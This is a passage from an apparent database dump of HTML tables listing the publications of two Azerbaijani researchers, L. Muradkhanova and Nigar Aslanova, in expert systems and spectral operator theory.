width=\"123\"><p><strong>L.Muradkhanova</strong></p><p><strong>&nbsp;</strong></p><p><strong>Mamedova A.T.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Second International Symposium on mathematical and Computational applications, September 1-3, Baku</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>pp.3.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Decision Support System for Managerial Problems</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>Intelligent Control and Decision Making Systems, Thematic collected articles, Baku, Azerb.SOA</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>№ 3, pp.14-18.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Design of object-oriented data base</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>Intelligent Control and Decision Making Systems, Thematic collected articles, Baku, Azerb.SOA</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>№ 3, pp.48-52.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Анализ и контроль влияния нефтеперерабатывающих предприятий на окружающую среду</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>İnsanların həyat fəaliyyətinin təhlükəsizliyi problemləri və onun tədrisi üzrə mütəxəssislərin II respublika Elmi praktiki konfransı, Bakı, 1999, səh.177-178</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>pp.177-178.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Suni İntellektin yaradılması üsulları fənnindən məşğələ dərsləri üçün metodik vəsait</p></td><td width=\"104\"><p>Methodological Guidelines</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Muradxanova L.</strong></p></td><td width=\"123\"><p>Bakı, AzDNA</p></td><td width=\"57\"><p><strong>1998</strong></p></td><td width=\"76\"><p><strong>pp.48.</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Объектно-ориентированное представление данных и знаний</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Тематический сборник научных трудов : Интеллектуальные системы управления и принятия решений, Баку, АзГНА, 1998, №2, стр. 42-46</p></td><td width=\"57\"><p><strong>1998</strong></p></td><td width=\"76\"><p>№ 2, pp.42-46.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>İntellektual sistemlərin proqram vasitələri və dilləri. Laboratoriya işləri</p></td><td width=\"104\"><p>Methodological Guidelines</p></td><td width=\"123\"><p><strong>Muradxanova L.</strong></p></td><td width=\"123\"><p>Bakı, AzDNA</p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p>pp.32.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Интеллектуальная система для диагностирования и управления технологическими процессами</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>&nbsp;</p><p>Тематический сборник научных трудов : Интеллектуальные системы управления и принятия решений, Баку, АзГНА, 1997, №1, стр. 139-142</p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p>№ 1, pp.139-142.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>База знаний динамической экспертной системы для диагностирования и управления технологическими процессами</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Сборник научных трудов : Ученые Записки, АзГНА, Баку, 1996, № 4, стр. 191-196</p></td><td width=\"57\"><p><strong>1996</strong></p></td><td width=\"76\"><p>№ 4, pp.191-196.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Application of fuzzy object models for plant control and diagnostic Expert Systems</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Nuriev M.N., Muradkhanova L.G, Sultanova A.B.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Proceedings of ICAFS’96, Second International Conference on Application of Fuzzy Systems and Soft Computing, Siegen, Germany</p></td><td width=\"57\"><p><strong>1996</strong></p></td><td width=\"76\"><p>pp.6-11.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Система принятия плановых решений</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>Мурадханова Л.Г., Гардашова Л,А,</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Сборник научных трудов : Ученые Записки, АзГНА, Баку, 1995, № 4, стр. 192-196</p></td><td width=\"57\"><p><strong>1995</strong></p></td><td width=\"76\"><p>№ 4, pp.192-196.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The object-oriented approach for fuzzy query processing</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Salahli M.A., Muradkhanova L.G, Gardashova L.A</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Proceedings of the International Conference on Application of Fuzzy Systems, Tabriz, Iran</p></td><td width=\"57\"><p><strong>1994</strong></p></td><td width=\"76\"><p>pp.270-272.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Интеллектуальная система прогнозирования экологических показателей нефтеперерабатывающего предприятия</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p>Материалы I Международной научно-технической конференции «Современные проблемы экологии, методы и средства их решения», Баку, 1994 г.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1994</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Моделирование и прогнозирование социально-экономического развития производства</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Тезисы докладов VII научно-технической конференции молодых ученых и специалистов, Баку, 1992 г.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1992</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Прогнозирование социально-экономических процессов в регионе с учетом экологических факторов</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>Нуриев М. Н., Мурадханова Л.Г.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Тематический сборник научных трудов : Автоматизация процессов управления, Баку, АзИУ, 1991 г.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1991</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>База знаний экспертной системы прогнозирования социально-экономических процессов</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Нуриев М.Н., Мурадханова Л.</strong></p></td><td width=\"123\"><p>Тезисы докладов II Всесоюзной научной конференции «Интеллектуализация систем управления», Баку, 1991</p></td><td width=\"57\"><p><strong>1991</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Продукционная модель представления знаний в экспертной системе прогнозирования</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p>Тезисы докладов научно-технической конференции молодых ученых, Баку, 1991</p></td><td width=\"57\"><p><strong>1991</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Учет экологических факторов в задачах прогнозирования социально-экономических процессов в нефтеперерабатывающей отрасли</p></td><td width=\"104\"><p>Article</p></td><td width=\"123\"><p><strong>Нуриев М.Н., Мурадханова Л.</strong></p></td><td width=\"123\"><p>Деп.АзНИИНТИ, №1606, Баку, 1990</p></td><td width=\"57\"><p><strong>1990</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Применение методов искусственного интеллекта в прогнозировании социально-экономических процессов</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p>Тезисы докладов Республиканской научно-практической конференции молодых ученых и специалистов «Актуальные проблемы информатики и вычислительной техники», Баку, 1990</p></td><td width=\"57\"><p><strong>1990</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Пронозирование социально-экономических процессов на базе экспертной системы</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p>Тезисы докладов XIII Республиканской научной конференции аспирантов вузов Азербайджана, Баку, 1990</p></td><td width=\"57\"><p><strong>1990</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr></tbody></table>  <br></div>'),(1542,963,'en','Nigar Aslanova','Nigar Aslanova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"612\"><tbody><tr><td width=\"31\"><p>&nbsp;</p><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong></strong></p></td><td width=\"102\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>All Authors</strong><strong></strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"66\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotics of eigenvalues of one term even order operator equations</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>HashimovI.F.</strong></p></td><td width=\"102\"><p><strong>Materials of XI republic conference on math. And mech. of young scientists, Baku.</strong></p></td><td width=\"60\"><p><strong>1994</strong></p></td><td width=\"66\"><p><strong>3 p.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of regularized trace of operator Sturm-Liouville equation with singularity on finite segment</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Az.NIINTI</strong></p></td><td width=\"60\"><p><strong>20.1195</strong></p></td><td width=\"66\"><p><strong>N2305-Az, 29 pp.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of regularized trace of Sturm-Liouville equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials 0f I Rep. conference on math and mech., Baku</strong></p></td><td width=\"60\"><p><strong>1995</strong></p></td><td width=\"66\"><p><strong>II part, pp.63-66</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Weighted trace of Schrödinger equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>AzIMU, Proceedings, Baku</strong></p></td><td width=\"60\"><p><strong>1996</strong></p></td><td width=\"66\"><p><strong>N6, pp.185-186</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Investigation of asymptotics of number of eigenvalues and regularized trace of singular differential operator equations</strong></p></td><td width=\"102\"><p><strong>avtoreferat</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Avtoreferat of dissertation,Baku</strong></p></td><td width=\"60\"><p><strong>1996</strong></p></td><td width=\"66\"><p><strong>15 p.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Eigenvalue distribution of singular differential operator on all axis</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Transactions of National Academy of Sciences of Azerb.,Baku</strong></p></td><td width=\"60\"><p><strong>1997</strong></p></td><td width=\"66\"><p><strong>Vol.XVIII,N4-5, pp.15-20</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotic behaviour of the distribution function for one singular operator</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Transact. Of Acad. of Sciences of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>1998</strong></p></td><td width=\"66\"><p><strong>Vol.XVIII N3-4, pp.3-5</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Regularized trace of operator Sturm-Liouville equation on finite segment</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proceedings of Institute of Math . and Mech. Of Acad. of Sciences of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>1998</strong></p></td><td width=\"66\"><p><strong>Vol. IX, pp.23-26</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Stability of special solutions of non-selfadjoint&nbsp; operator on all axis</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials of conference devoted to 25 anniversary of Azerb. University of Architecture and Construction, Baku</strong></p></td><td width=\"60\"><p><strong>2001</strong></p></td><td width=\"66\"><p><strong>pp.324-325</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for regular Sturm-Liouville operator on finite segment</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials of conference devoted to 25 anniversary of Azerb. University of Architecture and Construction, Baku</strong></p></td><td width=\"60\"><p><strong>2001</strong></p></td><td width=\"66\"><p><strong>pp.325-326</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>The stability of the inverse problem of the scattering theory for non-self-adjoint operator</strong></p></td><td width=\"102\"><p><strong>Article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Transact. Of Acad. of Scienmces of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>2000</strong></p></td><td width=\"66\"><p><strong>Vol.XX,N4, pp.30-34</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>The stability of the inverse problem of the scattering theory for non-self-adjoint operator on all axis</strong></p></td><td width=\"102\"><p><strong>Article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proceedings of Instritute of Math. And Mech., Baku</strong></p></td><td width=\"60\"><p><strong>2001</strong></p></td><td width=\"66\"><p><strong>Vol XV, pp.28-36</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Integral generalization of the second order matrix differential equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans. Of NAS of Azerb.</strong></p></td><td width=\"60\"><p><strong>2004</strong></p></td><td width=\"66\"><p><strong>Vol.XXIV, N1, pp.71-78</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Exactness of reconstruction of potential of matrix Sturm-Liouville equation by scattering data known on finite interval</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>AzTU, Proceedings</strong></p></td><td width=\"60\"><p><strong>2004</strong></p></td><td width=\"66\"><p><strong>Vol .III,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; N1(9),pp.30-37</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Stability of reconstruction of the Sturm-Liouville operator with matrix coefficients on scattering data</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans. Of NAS of Azerb, Baku</strong></p></td><td width=\"60\"><p><strong>2005</strong></p></td><td width=\"66\"><p><strong>Vol.XXV, N1, pp.33-42</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula of second order differential operator equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Thesis of XII International conference devoted 70-th anniversary of the corresponding member of NAS of Azerb. B.A.Iskenderov, Baku</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"66\"><p><strong>p.35</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of the regularized trace of differential operator with operator coefficient</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans. Of NAS of Azerb. Baku</strong></p></td><td width=\"60\"><p><strong>Vol.XXVI,N1, pp.39-44</strong></p></td><td width=\"66\"><p><strong>2006</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>n-th regularized trace of differential operator equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans.of NAS of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>Vol. XXVI,N7, pp.27-32</strong></p></td><td width=\"66\"><p><strong>2006</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of the trace of one Sturm-Liouville boundary value probnlem</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials of Ninth Baku International Congress&lt;&lt;Energy, Ecology, Economy&gt;&gt;</strong></p></td><td width=\"60\"><p><strong>N4,5,pp.21-24</strong></p></td><td width=\"66\"><p><strong>2006,2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of n-th regularized trace of Sturm-Liouville operator with eigenvalue dependent boundary condition</strong></p></td><td width=\"102\"><p><strong>thersis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Thesis of XIII Intern. Conf. on Math. And Mech. Devoted to 70-th anniversary of real member of NAS of Azerb. Prof.A.D.Hajiev, Baku</strong></p></td><td width=\"60\"><p><strong>p.27</strong></p></td><td width=\"66\"><p><strong>2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for Strurm-Liouville operator equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proc.of Institute of Math. And Mech. Of NAS of AzerB.,Baku</strong></p></td><td width=\"60\"><p><strong>Vol.XXVI,</strong></p></td><td width=\"66\"><p><strong>2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for one boundary value problem for operator Sturm-Liouville operator equation</strong></p></td><td width=\"102\"><p><strong>Article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Siberian journal of mathematics,(science citatation index expanded)</strong></p></td><td width=\"60\"><p><strong>November-december, vol.49,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n6,pp.1207-1215</strong></p></td><td width=\"66\"><p><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>On regularized trace of one Sturm_Liouville problem with eigenvalue dependent boundary condotion</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans.of NAS of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>v.XXVIII,N4,pp.27-36</strong></p></td><td width=\"66\"><p><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotic distribution of eigenvalues and regularized trace of boundary value problem for Bessel’s operator equation with eigenvalue dependent boundary condition</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proc. Of Inst. Of Math. And Mech. Of NAS of Azerb.,Baku</strong></p></td><td width=\"60\"><p><strong>v.XXIX,pp.21-42</strong></p></td><td width=\"66\"><p><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotics of eigenvalues of second order differential operator equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Thesis of Inter. Conference on math.and mech. Devoted 50-th anniversary of Institute of Math. And Mech.,Baku</strong></p></td><td width=\"60\"><p><strong>p.47</strong></p></td><td width=\"66\"><p><strong>2009</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula of one singular problem with parameter contained boundary condition</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>K.M.Aslanov</strong></p></td><td width=\"102\"><p><strong>Spectral theory and applications, Thesis of international conference devoted to 80-th anniversary of acad. F.G.Maksudov,Baku</strong></p></td><td width=\"60\"><p><strong>pp.68-70</strong></p></td><td width=\"66\"><p><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Formula for second regularized trace of one Sturm-Liouville operator</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Spectral theory and applications, Thesis of international conference devoted to 80-th anniversary of acad. F.G.Maksudov,Baku</strong></p></td><td width=\"60\"><p><strong>pp.101-103</strong></p></td><td width=\"66\"><p><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Investigation of spectrum and trace formula for operator Bessel equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Siberian Journal of Mathematics(Science citation expanded)</strong></p></td><td width=\"60\"><p><strong>Vol.5, N4,pp.720-737</strong></p></td><td width=\"66\"><p><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Eigenvalue distribution and trace formula for operator Sturm-Liouville operator equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Ukranian journal of Mathematics(Science citation index expanded)</strong></p></td><td width=\"60\"><p><strong>Vol.62, N7,pp.867-877</strong></p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Identity for eigenvalues for operator Sturm-Liouville equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>AslanovK.M.</strong></p></td><td width=\"102\"><p><strong>Functional analysis and its applications, proceedings of the international conference devoted to the 100-th anniversary of acad. Z.I.Khalilov, baku</strong></p></td><td width=\"60\"><p><strong>pp.48-50</strong></p></td><td width=\"66\"><p><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for fourth order diff.operator equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Functional analysis and its applications, proceedings of the international conference devoted to the 100-th anniversary of acad. Z.I.Khalilov, baku</strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotics of eigenvalues and trace formula for one singular problem</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Analysis of Pure and Applied Mathematics(Zentralblat indexing, Berlin)</strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Formula for second regularized trace of one Sturm-Liouville problem</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Journal of Mathematics and Statistics(hacettepe University),Science citation index expanded)</strong><strong></strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>&nbsp;</strong></p><div><strong><br></strong></div></td></tr></tbody></table>  <br></div>'),(1543,963,'az','Nigar Aslanova','Nigar Aslanova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"612\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"31\"><p>&nbsp;</p><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong></strong></p></td><td width=\"102\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>All Authors</strong><strong></strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"66\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotics of eigenvalues of one term even order operator equations</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>HashimovI.F.</strong></p></td><td width=\"102\"><p><strong>Materials of XI republic conference on math. And mech. of young scientists, Baku.</strong></p></td><td width=\"60\"><p><strong>1994</strong></p></td><td width=\"66\"><p><strong>3 p.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of regularized trace of operator Sturm-Liouville equation with singularity on finite segment</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Az.NIINTI</strong></p></td><td width=\"60\"><p><strong>20.1195</strong></p></td><td width=\"66\"><p><strong>N2305-Az, 29 pp.</strong></p></td></tr><tr><td 